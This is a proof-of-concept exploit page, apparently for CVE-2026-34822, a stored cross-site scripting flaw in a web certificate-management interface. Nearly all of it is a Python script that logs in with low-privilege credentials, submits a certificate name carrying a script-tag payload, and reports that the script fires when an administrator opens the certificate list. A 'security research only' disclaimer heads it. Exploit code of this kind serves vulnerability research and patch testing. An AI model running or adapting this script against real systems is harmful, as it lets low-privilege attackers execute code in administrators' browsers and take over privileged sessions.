PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target)
target_url = "https://<target-endian>/manage/ca/certificate/"
login_url = "https://<target-endian>/login"

# Attacker credentials (Low privilege)
credentials = {
    "username": "low_priv_user",
    "password": "password123"
}

# XSS Payload to be stored
xss_payload = "<script>alert('CVE-2026-34822 - Stored XSS');</script>"

# Data for the certificate creation
payload_data = {
    "new_cert_name": xss_payload,
    # Additional form fields may be required
    "action": "create"
}

session = requests.Session()

# 1. Login
login_response = session.post(login_url, data=credentials)
if login_response.status_code != 200:
    print("Login failed")
    exit()

# 2. Inject Payload
response = session.post(target_url, data=payload_data)

if response.status_code == 200:
    print("Payload injected successfully.")
    print("When an admin views the certificate list, the XSS will trigger.")
else:
    print(f"Injection failed. Status code: {response.status_code}")
